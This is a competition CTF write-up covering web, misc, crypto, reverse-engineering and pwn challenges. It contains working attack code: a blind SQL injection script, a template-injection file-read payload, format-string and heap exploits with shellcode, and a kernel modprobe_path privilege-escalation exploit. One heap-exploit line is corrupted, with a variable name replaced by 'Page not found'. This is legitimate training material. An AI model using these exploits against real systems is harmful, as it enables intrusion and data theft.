On 8 June, our team, China University of Mining and Technology Team 02, represented the university in the Enterprise Information Systems Security final of the 2021 Belt and Road and BRICS competition. We placed first in the CTF with 1700 out of 2000 points.
During the competition we solved every Crypto, RE and Pwn task. Afterwards we wrote up our approaches and revisited the few challenges we hadn’t finished.
# Web
The web tasks mostly covered familiar material. What made them difficult was working out what the author intended: there were login forms everywhere and hardly any hints.
# web1

All I could do on the page was pop balloons. Finishing the game sent no request, so I checked the JavaScript and found the PHP file that held the flag.


Opening flag.php redirected me to a 404. Watching the traffic in the browser’s Network tab was enough.

flag:88E3773E766EE1FFD98F3FEBE7D876DB
# web2

This was SQL injection with filters on spaces, for, union, commas, asterisks and other tokens. The main difficulty was listing tables: information_schema was unavailable, so I needed an alternative.
I put together a time-based blind SQL injection query.
1'^(select(sleep(1))from(mysql.user)where((select({columns})from({table})where({limit}))<'xxx'))^' |
Then I wrote a script to recover the password.
import requests | |
import requests | |
import time | |
def getDatabase(flag=""): # 获取数据库名 | |
global baseurl,sql | |
flag="" | |
for i in range(1, 1000): | |
low = 32 | |
high = 128 | |
mid = (low + high) // 2 | |
while low < high: | |
print(mid,chr(mid)) | |
usesql="1'^(select(sleep(1))from(mysql.user)where(%s))^'"%sql.\ | |
replace("flag",flag+chr(mid)) | |
# print(usesql) | |
start_time=time.time() | |
res = requests.post( | |
baseurl +"login.php", | |
data={"uname":usesql, | |
"passwd":"1" | |
} | |
) | |
use_time=time.time()-start_time | |
# print(use_time) | |
if use_time > 1: | |
high = mid | |
else: | |
low = mid + 1 | |
mid = (low + high) // 2 | |
if mid <= 32 or mid >= 127: | |
break | |
flag += chr(mid - 1) | |
print(i,"flag is -> " + flag) | |
columns="group_concat(passwd)" | |
# 从 sys.schema_index_statistics 得到表名 | |
table="testx.admin" | |
limit="'U'<'z'" | |
sql=f"(select({columns})from({table})where({limit}))<'flag'" | |
baseurl="http://101.133.134.12:8002/" | |
getDatabase("") | |
#f9b46e5b6dc40d49fef9c5f287d177ad |
That gave me the password’s MD5 digest. Looking it up returned 5555666.
I logged in as admin with the password 5555666.
That returned the flag.
flag{AD7008D8BB2DFB6AD521F99A1FF08B54}
# web3 (unsolved)
This one felt like a riddle. I spent ages getting nowhere. After the competition other players said it was SQL again. Two SQL challenges? That really hadn’t occurred to me.

# web4

A scan turned up the source backup index.php.bak:
<?php | |
header("Content-type:text/html;charset=utf-8"); | |
error_reporting(0); | |
$key='flag{xxx}'; | |
if (isset($_GET['name']) and isset($_GET['pwd'])) { | |
if ($_GET['name'] == $_GET['pwd']){ | |
echo '<p>姓名与密码不能一致!</p>'; | |
}elseif(is_numeric($_GET['pwd'])){ | |
die('密码不能是纯数字'); | |
}elseif (md5($_GET['name']) == md5($_GET['pwd'])){ | |
die($key);} | |
else{ | |
echo '<p>无效密码</p>';} | |
} | |
else{ | |
echo '<p>首次登陆!</p>'; | |
} | |
?> |
The username and password had to differ, neither could be purely numeric, and their MD5 results had to match.
It was the classic MD5 check. A collision was one option; another was to pass arrays so the hash calls failed and returned the same false value in this environment.
I went with the array method and got the flag.
?name[]=1&pwd[]=1
Here’s the flag:
FDA095FC516DA9AE2A15AB135BFF8C80
# web5

The dashboard identified itself as using the tabib framework. I couldn’t find a relevant vulnerability online or anything useful by clicking around. Uploading files and creating records didn’t even send requests. The calendar did return an unusual message:

I suspected the calendar, but couldn’t see the bug. A scan found a console route leading to a Flask backend. Calculating the PIN didn’t pan out. Eventually I found server-side template injection in the calendar and used that to read /flag.
I retrieved the built-in open function, opened /flag and read its contents.
{ {''.__class__.__mro__[-1].__subclasses__()[64].__init__.__globals__.__builtins__.open('/flag','r').read() } }
Another way to write it:
http://101.133.134.12:8005/{{''[request.values.c][request.values.m][-1][request.values.s]()[64][request.values.i][request.values.g][request.values.b][request.values.o](request.values.file,'r')[request.values.r]() }}&c=__class__&m=__mro__&s=__subclasses__&i=__init__&g=__globals__&b=__builtins__&o=open&r=read&file=/flag
# web6



Another riddle. I didn’t solve this one during the match. Afterwards someone in chat said they’d brute-forced it. I’d considered that too, but I’d just deleted my old wordlist. With password and hash set to the values corresponding to admin@123, the response disclosed gettf1ag.php; opening that file returned the flag.
# Misc
# misc1
The file had a .bat extension, but 010 Editor showed recognisable PowerPoint identifiers. After I renamed it to .ppt, WPS opened it and asked for a password.

While inspecting the file in Notepad I spotted a hint: the password was four decimal digits. These were the scripts used to generate and test the candidate list:
# 字典生成 | |
import itertools as its | |
words = "1234568790" | |
r =its.product(words,repeat=4) | |
dic = open("pass1.txt","a") | |
for i in r: | |
dic.write("".join(i)) | |
dic.write("".join("\n")) | |
dic.close() |
# 爆破 | |
import os | |
import sys | |
import win32com.client | |
import pywintypes | |
passw=[] | |
dic = open("pass1.txt","r") | |
data=dic.readline().strip('\n'); | |
while data: | |
passw.append(data); | |
data=dic.readline().strip('\n'); | |
dic.close(); | |
wps1=win32com.client.Dispatch('Kwps.application') | |
wps1.Visible=True | |
wps1.DisplayAlerts = 0 | |
for i in passw: | |
try: | |
d=wps1.Documents.Open(r'C:\Users\Sycamore\Desktop\CTF\flag去哪了.ppt',PasswordDocument=i); | |
except pywintypes.com_error: | |
print(i) | |
continue | |
print("succcccceesss"+i) | |
break; |
# misc2
I separated the embedded files with binwalk and inspected them one by one. One file, 3BD12, contained Base64 text.

Decoding it twice gave the flag.
# misc3
Listening to the recording, I thought it sounded like SSTV. There were quite a few SSTV challenges that year. I decoded it with Robot36 on Android and got this image:

# misc4
At the end of the file, 010 Editor showed the hint lsb .

In StegSolve, bit plane zero looked unusual in all three colour channels.
Extracting those bits produced this JFIF image:

I opened the new image in 010 Editor and found a Base64 string in the middle of the file. It decoded to the flag.

# CRYPTO
# Crypto1
The alphabet and padding suggested a Base encoding.
The first Base64 decode gave K5WTCNDBIZXXUZCHGFHWC22VO5LVO4CDMFCTCNSVKRHGCUSHJV5FI22SJNQUM4CIKJKFET2SGFVXUV2WMRHGKVTMLBJVIQSOMFVVK6CUGBTXOUCRHU6Q==== . Four padding characters ruled out Base64, which allows at most two. The uppercase alphabet suggested Base32. After that came two more layers of Base64.

import base64 | |
c='SzVXVENOREJJWlhYVVpDSEdGSFdDMjJWTzVMVk80Q0RNRkNUQ05TVktSSEdDVVNISlY1RkkyMlNKTlFVTTRDSUtKS0ZFVDJTR0ZWWFVWMldNUkhHS1ZUTUxCSlZJUVNPTUZWVks2Q1VHQlRYT1VDUkhVNlE9PT09' | |
print(base64.b64decode(c)) | |
c1='K5WTCNDBIZXXUZCHGFHWC22VO5LVO4CDMFCTCNSVKRHGCUSHJV5FI22SJNQUM4CIKJKFET2SGFVXUV2WMRHGKVTMLBJVIQSOMFVVK6CUGBTXOUCRHU6Q====' | |
print(base64.b32decode(c1)) | |
c2='Wm14aFozdG1OakUwWWpCaE16UTNaRGMzTkRKaFpHRTROR1kzWVdNeVlXSTBNakUxT0gwPQ==' | |
print(base64.b64decode(c2)) | |
c3='ZmxhZ3tmNjE0YjBhMzQ3ZDc3NDJhZGE4NGY3YWMyYWI0MjE1OH0=' | |
print(base64.b64decode(c3)) | |
#flag{f614b0a347d7742ada84f7ac2ab42158} |
# Crypto2
The hint pointed to a Caesar cipher, but the text included punctuation such as +, ( and ?. Neither the usual 26 shifts nor working backwards from flag{ or Zmxh (Base64 for “fla”) revealed a pattern.
I tried shifts from 0 to 127 and printed the candidates with readable characters.
s=b'Nd(+X=fqZqEEM<bpKegNYMg?NdkEDcAkKLIaEL(LHdcFM\'c*Nc[QEMchP*gFM=c-NM^n' | |
for i in range(128): | |
m=[] | |
for j in range(len(s)): | |
m.append((s[j]-i)%128) | |
print('shfit: %d'%i,bytes(m).decode()) |
Here’s what the script printed:

At a shift of 119, one candidate looked like Base64. I tried decoding it.

Two rounds of decoding gave the flag. Here’s the full script:
import base64 | |
s=b'Nd(+X=fqZqEEM<bpKegNYMg?NdkEDcAkKLIaEL(LHdcFM\'c*Nc[QEMchP*gFM=c-NM^n' | |
""" | |
for i in range(128): | |
m=[] | |
for j in range(len(s)): | |
m.append((s[j]-i)%128) | |
print('shfit: %d'%i,bytes(m).decode()) | |
""" | |
print(base64.b64decode('Wm14aFozczNNVEkyTnpWbVpHWmtNMlJtTURjNU1UQmlOV0l3WldZNVlqY3pOVFl6WVgw')) | |
print(base64.b64decode('ZmxhZ3s3MTI2NzVmZGZkM2RmMDc5MTBiNWIwZWY5YjczNTYzYX0=')) | |
m='flag{712675fdfd3df07910b5b0ef9b73563a}' |
# Crypto3
The RSA challenge supplied c, n and e. The exponent was small and even, suggesting it shared a factor with φ(n). I tried factoring n with YAFU.
It took a while, but YAFU found the factors:

With p and q I could calculate φ(n). Since gcd(e, φ(n)) = 4, e had no inverse modulo φ(n). I rewrote the power as (m⁴)^(e/4) and inverted e/4 instead. Raising c to that inverse gave m⁴ modulo n. For this message an integer fourth root worked directly, and converting the result to bytes revealed the flag.
import gmpy2 | |
from Crypto.Util.number import * | |
n = 22418636922065508104264650472638100390507346675022700253583060418349386472260539292033574216754214047540225287240029292436219548116787251605020424767984000804727346173028308816952737183433110999995264950414364145519999339949396799207404153148796900954086093431917244453864253649011176295266497073733547832171165497506613139960587280135867463235266546869960044777350378595302570142110464582590415694749192915651700844268466357439219626769665355230647219887042871785185100743750953935872489085346311527806979246650668966304323450610041756764667276881295676841136337294903126776228640645138477063815764467811948872156311 | |
e = 180 | |
c = 17971123746814947059314270113966290245749007752378241906733564181493060407114219968936077930494933520528427074831694818994710527963410153282657079091353179846750982127804195747725871635911272654572811618799762595633801414107052800867035212498914627567940429340162711284873714117628807667324064684965941290688518710890089086623981356782977499005308798890348799101436318386502089586589964942282091818134339082321114129830959264557408611168516265190076744300272908807347811446203373025446057616713876047942653095947804696077860211107853183353180163392501353685418796451123620066941329424857070023018877454625734091037559 | |
p=149728544112555599590936673615696271318636529352637830106348687941183054498250042553549708433208468004536400117026086238076264785396396599290721801532887662723160698502186620809003309343021490868380464762486274154096814166441270611631342173101926176645742035350917214925625954628200341278782929951624259583527 | |
q=149728544112555599590936673615696271318636529352637830106348687941183054498250042553549708433208468004536400117026086238076264785396396599290721801532887662723160698502186620809003309343021490868380464762486274154096814166441270611631342173101926176645742035350917214925625954628200341278782929951624259582993 | |
phi=(p-1)*(q-1) | |
e=e//gmpy2.gcd(e,phi) | |
d=gmpy2.invert(e,phi) | |
m4=pow(c,d,n) | |
print(long_to_bytes(gmpy2.iroot(m4,4)[0])) | |
#flag{09dfc77eaebb50f136fc184533b9d556} |
# Crypto4
The attachment contained a custom implementation of ADFGVX. It supplied the square key, ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8 , but left the transposition keyword unknown.
def getKeyword(x): | |
key = ''.join([choice('abcdefghijklmnopqrstuvwxyz') for i in range(x)]) | |
for i in key: | |
if key.count(i)!=1: #只有一种 | |
return getKeyword(x) | |
return key | |
keyword = getKeyword(7) |
The generator chose seven different letters. That left 26 × 25 × 24 × 23 × 22 × 21 × 20 = 3,315,312,000 possible keywords, too many to try during the competition. I went back to how ADFGVX works.
I looked up the encryption steps and found this diagram:

The diagram shows the 5 × 5 ADFGX square. ADFGVX extends it to 6 × 6. After substituting coordinate pairs, the cipher transposes them according to the keyword.
With that in mind, I went back to the script.
def encipher_char(self, ch, size=6, chars='ADFGVX'): | |
row = (int)(self.key.index(ch)/size) #第几行 | |
col = (self.key.index(ch) % size) #第几列 | |
return chars[row] + chars[col] #行列替换 |
Printing the square gave:
k='ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8' | |
for i in range(0,len(k),6): | |
for j in range(6): | |
print(k[i+j].upper(),end=' ') | |
print() | |
""" | |
A D F G V X | |
A P H 0 Q G 6 | |
D 4 M E A 1 Y | |
F L 2 N O F D | |
G X K R 3 C V | |
V S 5 Z W 7 B | |
X J 9 U T I 8 | |
""" |
Direct substitution gave the wrong result. Looking at the implementation again, I found how it rearranged the columns.
step1 = self.encipher_string(string) #简单置换后的结果 | |
step2 = self.encipher_sortind(step1) | |
def sortind(word): #返回 key 字母在排序后的字母中的位置 | |
t1 = [(word[i], i) for i in range(len(word))] | |
t2 = [(k[1], i) for i, k in enumerate(sorted(t1))] | |
return [q[1] for q in sorted(t2)] | |
def encipher_sortind(self,string): | |
string = self.remove_punctuation(string) | |
ret = '' | |
ind = self.sortind(self.keyword) | |
for i in range(len(self.keyword)): | |
ret += string[ind.index(i)::len(self.keyword)] #取出某一列拼出来 | |
return ret |
You can check that ordering by hand.

Seven columns have only 7! = 5,040 possible orders. I tried each one and rejected any recovered keyword containing a digit or a repeated letter. Here’s the decoder:
from pycipher import ADFGVX | |
from itertools import permutations | |
def decipher_pair(pair, key='ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8', size=6, chars='ADFGVX'): #反求 key | |
row = chars.index(pair[0]) | |
col = chars.index(pair[1]) | |
return key[row * size + col] | |
def decipher_str(string): | |
ret = '' | |
for i in range(0, len(string), 2): | |
ret += decipher_pair(string[i:i + 2]) | |
return ret | |
def check(s): #优化爆破 即解密的 key 要在小写字母表内 且 无数字 | |
num_lst = ['AF', 'AX', 'DA', 'DV', 'FD', 'GG', 'VD', 'VV', 'XD', 'XX'] #剔除数字 | |
all = [] | |
for i in range(7): | |
t = s[i * 2] + s[i * 2 + 1] | |
if (t in num_lst): | |
return False | |
if (t in all): | |
return False | |
all.append(t) | |
return True | |
kenc = 'XAGDFGVGXXXGAX' | |
flag = 'DXVGGVGGVGVFXAFVFXFFXFVFFFVFDVVGADGVAVGDAAVXGDGXGXDFVFDAVADAXAAFFVFXXGVX' | |
r1 = [kenc[i] for i in range(0, len(kenc), 2)] #明文中第一行 | |
r2 = [kenc[i] for i in range(1, len(kenc), 2)] #明文中第二行 | |
all_list = list(permutations([0, 1, 2, 3, 4, 5, 6], 7)) #暴力枚举所有状态 | |
for it in all_list: | |
c = [r1[i] for i in it] + [r2[i] for i in it] #连续两个为 r1 和 r2 行中的元素 且置换回去 | |
d = ''.join(c) | |
if check(c): | |
kd = decipher_str(d) | |
enc = ADFGVX('ph0qg64mea1yl2nofdxkr3cvs5zw7bj9uti8', kd) | |
ed = enc.encipher(kd) | |
if ed == kenc: | |
print(kd,it) | |
print(enc.decipher(flag).lower()) | |
#flag{fb0dd5203c02cf7c60dc99330b5bfa66} |
ADFGVX reference link: https://blog.csdn.net/euzen/article/details/119085350
# RE
# RE1

This Go binary compared the input directly with the flag. I could read it in the main function or find it in IDA’s strings window (Shift+F12).
flag{02f4fd5497119e238350002c5dbe1341}
# RE2
Shift+F12 opened the strings window. A cross-reference from a flag-related string led me to the check function.

The binary had been stripped. String references helped me recognise library calls such as printf. I also tried IDA’s Lumina service, though it recovered little here.

The decompiled loop looked like it might XOR the input. To see what it actually did, I stepped through it with flag{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa} .

At first v5 pointed near the input. Stepping forward showed v9 pointing to its beginning and v10 to its end.

The loop XORed each character with 7. The result appeared to live in the second pointer of a structure at v6. The program compared it with the ciphertext in the structure at &unk_7FF6EFEE78D0.

The second pointer in that structure pointed to the ciphertext.

I extracted the bytes and XORed them with 7 to recover the flag.
s=[0x61, 0x6B, 0x66, 0x60, 0x7C, 0x31, 0x3F, 0x37, 0x37, 0x65, 0x35, 0x66, 0x31, 0x3F, 0x36, 0x64, 0x3E, 0x3E, 0x62, 0x65, 0x33, 0x36, 0x30, 0x3F, 0x37, 0x65, 0x30, 0x65, 0x35, 0x3E, 0x33, 0x66, 0x64, 0x32, 0x36, 0x34, 0x3E, 0x7A] | |
for i in range(len(s)): | |
s[i]^=7 | |
print(bytes(s)) | |
#flag{6800b2a681c99eb41780b7b294ac5139} |
# RE3
I opened the binary in IDA and followed main.

The program read 32 characters into a buffer. Every path reached LABEL_5, where it parsed each pair of characters as a hexadecimal byte in v21. Shifting the byte count right by three gave the number of eight-byte blocks.

The block operation looked like a modified TEA round. Here’s how I reconstructed it:
In 32-bit arithmetic, subtracting 0x61c88647 is equivalent to adding 0x100000000 − 0x61c88647, or 0x9e3779b9.
void Tea_Encrypt(ut32* src, ut32* k) { | |
ut32 sum = 0; | |
ut32 v0 = src[0]; | |
ut32 v1 = src[1]; | |
for (int i = 0; i < 0x20; i++) { | |
sum += 0x9e3779b9; | |
v0 += ((v1 << 3) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); | |
v1 += ((v0 << 3) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); | |
} | |
src[0] = v0; | |
src[1] = v1; | |
} |
This version shifted v1 and v0 left by three. With that change and the key {18, 52, 86, 120} , I wrote the inverse:
#include<iostream> | |
#define ut32 unsigned int | |
#define delta 0x9E3779B9 | |
void Tea_Decrypt(ut32* enc, ut32* k) { | |
ut32 sum = delta * 0x20; | |
ut32 v0 = enc[0]; | |
ut32 v1 = enc[1]; | |
for (int i = 0; i < 0x20; i++) { | |
v1 -= ((v0 << 3) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); | |
v0 -= ((v1 << 3) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); | |
sum -= delta; | |
} | |
enc[0] = v0; | |
enc[1] = v1; | |
} | |
int main() { | |
ut32 m[4] = { 0x6278CC2F,0x65FE5089 ,0x2B581C7C,0x4E60BA90 }; | |
ut32 k[4] = { 18,52,86,120 }; | |
for (int i = 0; i < 4; i += 2) { | |
Tea_Decrypt(m+i, k); | |
} | |
for (int i = 0; i < 16; i++) { | |
printf("%02x", *((unsigned char*)m + i)); | |
} | |
//flag{35f0be164cf02aa7c59ca09de5d7bb78} | |
return 0; | |
} |
# PWN
# pmagic
These were the two format-string vulnerabilities:

First run:
- Use the format string to leak the libc base.
- Overwrite printf’s GOT entry with system and set _fini_array to 0x400640 to run the challenge again. A shorter alternative here is to replace the exit hook with a one_gadget.
Second run:
- The input was limited to five characters, so I used
cat *to read the flag.
#!/usr/bin/env python2 | |
# -*- coding: utf-8 -* | |
import re | |
import os | |
from pwn import * | |
from LibcSearcher import * | |
se = lambda data :p.send(data) | |
sa = lambda delim,data :p.sendafter(delim, data) | |
sl = lambda data :p.sendline(data) | |
sla = lambda delim,data :p.sendlineafter(delim, data) | |
sea = lambda delim,data :p.sendafter(delim, data) | |
rc = lambda numb=4096 :p.recv(numb) | |
ru = lambda delims, drop=True :p.recvuntil(delims, drop) | |
uu32 = lambda data :u32(data.ljust(4, '\0')) | |
uu64 = lambda data :u64(data.ljust(8, '\0')) | |
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data) | |
def debug(breakpoint=''): | |
glibc_dir = '~/Exps/Glibc/glibc-2.27/' | |
gdbscript = 'directory %smalloc/\n' % glibc_dir | |
gdbscript += 'directory %sstdio-common/\n' % glibc_dir | |
gdbscript += 'directory %sstdlib/\n' % glibc_dir | |
gdbscript += 'directory %slibio/\n' % glibc_dir | |
elf_base = int(os.popen('pmap {}| awk \x27{ {print \x241} }\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0 | |
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint | |
gdb.attach(p, gdbscript) | |
time.sleep(1) | |
elf = ELF('./pmagic') | |
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62']) | |
p = process('./pmagic') | |
# debug() | |
p = remote('101.133.134.12',10000) | |
sea('Give me your name.\n','%15$p') | |
libc_leak = int(rc(14),16) | |
libc_base = libc_leak - 0x5f1718 | |
lg('libc_leak',libc_leak) | |
lg('libc_base',libc_base) | |
#libc = ELF('./libc.so.6') | |
libc = elf.libc | |
libc.address = libc_base | |
system_addr = libc.sym.system | |
bin_sh = libc.search('/bin/sh').next() | |
og = ''' | |
❯ one_gadget libc-2.23.so -l2 | |
0x45216 execve("/bin/sh", rsp+0x30, environ) | |
constraints: | |
rax == NULL | |
0x4526a execve("/bin/sh", rsp+0x30, environ) | |
constraints: | |
[rsp+0x30] == NULL | |
0xcd0f3 execve("/bin/sh", rcx, r12) | |
constraints: | |
[rcx] == NULL || rcx == NULL | |
[r12] == NULL || r12 == NULL | |
0xcd1c8 execve("/bin/sh", rax, r12) | |
constraints: | |
[rax] == NULL || rax == NULL | |
[r12] == NULL || r12 == NULL | |
0xf02a4 execve("/bin/sh", rsp+0x50, environ) | |
constraints: | |
[rsp+0x50] == NULL | |
0xf02b0 execve("/bin/sh", rsi, [rax]) | |
constraints: | |
[rsi] == NULL || rsi == NULL | |
[[rax]] == NULL || [rax] == NULL | |
0xf1147 execve("/bin/sh", rsp+0x70, environ) | |
constraints: | |
[rsp+0x70] == NULL | |
0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8]) | |
constraints: | |
[rcx] == NULL || rcx == NULL | |
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL | |
''' | |
ones = [libc_base + int(i,16) for i in re.findall(r'\n(.+?) execve',og)] | |
# sl((fmtstr_payload(8,{(elf.got['printf']):system_addr,(0x600A78):0x400640})).ljust(0x100,'\0')) | |
sea('Say something.\n',(fmtstr_payload(8,{(elf.got['printf']):system_addr,(0x600A78):0x400640})).ljust(0x100,'\0')) | |
# flag{9cc94030040c64f2122706df577d15ee} | |
p.interactive() |

# orw_h2
A classic libc 2.31 menu-driven heap challenge.
Freeing a chunk left the pointer intact: a straightforward use-after-free.

My approach:
- Set up the heap and use pointers left in the large bin to leak the libc and heap bases.
- Use tcache poisoning to allocate over __free_hook and write the address of the gadget
rdx,QWORD PTR [rdi+0x8];mov QWORD PTR [rsp],rax;call QWORD PTR [rdx+0x20]there. - Combine the gadget with setcontext for a stack pivot, mark the chunk readable, writable and executable, then read and execute shellcode to get the flag. If you know the exact flag filename and path, an ORW chain works too.
#!/usr/bin/env python2 | |
# -*- coding: utf-8 -* | |
import re | |
import os | |
from pwn import * | |
from LibcSearcher import * | |
se = lambda data :p.send(data) | |
sa = lambda delim,data :p.sendafter(delim, data) | |
sl = lambda data :p.sendline(data) | |
sla = lambda delim,data :p.sendlineafter(delim, data) | |
sea = lambda delim,data :p.sendafter(delim, data) | |
rc = lambda numb=4096 :p.recv(numb) | |
ru = lambda delims, drop=True :p.recvuntil(delims, drop) | |
uu32 = lambda data :u32(data.ljust(4, '\0')) | |
uu64 = lambda data :u64(data.ljust(8, '\0')) | |
lg = lambda name,data : p.success(name + ': \033[1;36m 0x%x \033[0m' % data) | |
def debug(breakpoint=''): | |
glibc_dir = '~/Exps/Glibc/glibc-2.27/' | |
gdbscript = 'directory %smalloc/\n' % glibc_dir | |
gdbscript += 'directory %sstdio-common/\n' % glibc_dir | |
gdbscript += 'directory %sstdlib/\n' % glibc_dir | |
gdbscript += 'directory %slibio/\n' % glibc_dir | |
elf_base = int(os.popen('pmap {}| awk \x27{ {print \x241} }\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0 | |
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint | |
gdb.attach(p, gdbscript) | |
time.sleep(1) | |
elf = ELF('./orw_h2') | |
context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','62']) | |
# p = process('./orw_h2') | |
# debug() | |
p = remote('101.133.134.12',10001) | |
def menu(choice): | |
sla('>> ',str(choice)) | |
def add(size,data='u'): | |
menu(1) | |
sla('Length of game description:',str(size)) | |
sea('Game description:',str(data)) | |
def dele(id): | |
menu(2) | |
sla('game index: ',str(id)) | |
def edit(id,data): | |
menu(3) | |
sla('game index: ',str(id)) | |
sea('Edit Game description:',str(data)) | |
def show(id): | |
menu(4) | |
sla('game index: ',str(id)) | |
add(0x420) # 0 | |
add(0x20) # 1 | |
dele(0) | |
show(0) | |
libc_leak = uu64(ru('\n')[-6:]) | |
libc_base = libc_leak - 0x1ecbe0 | |
lg('libc_leak',libc_leak) | |
lg('libc_base',libc_base) | |
#libc = ELF('./libc.so.6') | |
libc = elf.libc | |
libc.address = libc_base | |
system_addr = libc.sym.system | |
bin_sh = libc.search('/bin/sh').next() | |
Page not found= libc_base + 0x1518b0 # mov rdx,QWORD PTR [rdi+0x8];mov QWORD PTR [rsp],rax;call QWORD PTR [rdx+0x20] | |
rdi = libc_base + 0x0000000000023b72 | |
rsi = libc_base + 0x000000000002604f | |
rdx_r12 = libc_base + 0x0000000000119241 | |
ret = libc_base + 0x0000000000022679 | |
rax = libc_base + 0x0000000000047400 | |
jmp_rsi = libc_base + 0x000000000010d60d | |
read_addr = libc.sym.read | |
''' | |
0x0000000000047400 : pop rax ; ret | |
0x0000000000023b72 : pop rdi ; ret | |
0x0000000000119241 : pop rdx ; pop r12 ; ret | |
0x000000000015f7e6 : pop rdx ; pop rbx ; ret | |
0x00000000001025ad : pop rdx ; pop rcx ; pop rbx ; ret | |
0x0000000000024920 : pop rsi ; pop r15 ; pop rbp ; ret | |
0x0000000000023b70 : pop rsi ; pop r15 ; ret | |
0x000000000002604f : pop rsi ; ret | |
0x0000000000133fe6 : pop rsi ; ret 0xb | |
0x000000000002491c : pop rsp ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret | |
0x0000000000023b6c : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret | |
0x000000000002604b : pop rsp ; pop r13 ; pop r14 ; ret | |
0x00000000000ef1c5 : pop rsp ; pop r13 ; pop r15 ; ret | |
0x00000000000460a5 : pop rsp ; pop r13 ; pop rbp ; ret | |
0x0000000000025bcc : pop rsp ; pop r13 ; ret | |
0x000000000008e261 : pop rsp ; pop r14 ; ret | |
0x000000000012cfae : pop rsp ; pop rbp ; ret | |
0x000000000002f73a : pop rsp ; ret | |
0x0000000000099050 : pop rsp ; ret 0xffff | |
0x0000000000022679 : ret | |
''' | |
# orw = flat([ | |
# rax,2,rdi,heap_base+0x290+0x10,rsi,0,syscall_ret,rdi,3,rdx_r12,0x100,0,rsi,heap_base+0x290+0x20,read_addr,rdi,1,write_addr | |
# ]) | |
add(0x430) # 2 | |
edit(0,'u'*0x10) | |
show(0) | |
ru('u'*0x10) | |
heap_leak = uu64(rc(6)) | |
heap_base = heap_leak - 0x290 | |
lg('heap_leak',heap_leak) | |
lg('heap_base',heap_base) | |
mmp = flat([ | |
rdi,((heap_base + 0xD00)>>12)<<12,rsi,0x2000,rdx_r12,7,0,libc.sym.mprotect,rdi,0,rsi,heap_base + 0xD00,rdx_r12,0x1000,0,read_addr,jmp_rsi | |
]) | |
edit(0,p64(libc_base+0x1ecfd0)*2) | |
add(0x420) # 3 0 | |
add(0x20) # 4 | |
dele(1) | |
dele(4) | |
edit(4,p64(libc.sym.__free_hook)) | |
add(0x20) # 5 | |
add(0x20,p64(Page not found)) # 6 | |
fuck = SigreturnFrame() | |
fuck.rsp = heap_base + 0x700 | |
fuck.rip = ret | |
edit(0,p64(0) + p64(heap_base + 0x290+0x10) + p64(0)*2 + p64(libc.sym.setcontext+61)+str(fuck)[0x28:])# mov rdx,QWORD PTR [rdi+0x8];mov QWORD PTR [rsp],rax;call QWORD PTR [rdx+0x20] | |
edit(2,mmp) | |
dele(0) | |
sl(asm(shellcraft.cat('/flag'))) | |
p.interactive() |
# Kernel
A small kernel challenge with an arbitrary-address write.

I redirected modprobe_path to my own shell script, which copied the file and changed its permissions so I could read the flag.
Source for the flag-reading program:
exp.c
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <sys/types.h> | |
size_t path = 0xffffffff81e48240; | |
int main(int argc, char ** argv) | |
{ | |
int fd1 = open("/dev/chardev0", 2); | |
if(fd1 <0) | |
{ | |
printf("\033[31m\033[1m[x] Failed to open the babydev1!\033[0m\n"); | |
exit(-1); | |
} | |
// ffffffff81e48240 D modprobe_path | |
// ffffffffc0000000 t chardev_ioctl [www] | |
// 0xffffffffc000001e | |
size_t ar[2] = {path,0x612f706d742f}; | |
ioctl(fd1,0x80084700,ar); | |
system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/a"); | |
system("chmod +x /tmp/a"); | |
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/uuu"); | |
system("chmod +x /tmp/uuu"); | |
system("/tmp/uuu"); | |
system("cat /tmp/flag"); | |
} |
Build script
musl-gcc exp.c -static -O2 -o exp # 这里用了 musl 编译缩小 exp 大小 | |
strip exp |
Script used to upload the program
from pwn import * | |
import time, os | |
context.log_level = "debug" | |
p = remote('101.133.134.12',10002) | |
os.system("tar -czvf exp.tar.gz ./exp") | |
os.system("base64 exp.tar.gz > b64_exp") | |
f = open("./b64_exp", "r") | |
p.sendline() | |
p.recvuntil("/ $") | |
p.sendline("echo '' > b64_exp;") | |
count = 1 | |
while True: | |
print('now line: ' + str(count)) | |
line = f.readline().replace("\n","") | |
if len(line)<=0: | |
break | |
cmd = b"echo '" + line.encode() + b"' >> b64_exp;" | |
p.sendline(cmd) | |
p.recvuntil("/ $") | |
count += 1 | |
f.close() | |
p.sendline("base64 -d b64_exp > exp.tar.gz;") | |
p.sendline("tar -xzvf exp.tar.gz") | |
p.sendline("chmod +x ./exp;") | |
p.sendline("./exp") | |
p.interactive() |
The screenshot shows the flag being read successfully.

# Reference Link
【NOTES.0x03】Linux Kernel Pwn II:Basic Exploit to Kernel Pwn in CTF - arttnba3's blog
Linux Kernel Exploitation Technique: Overwriting modprobe_path - Midas

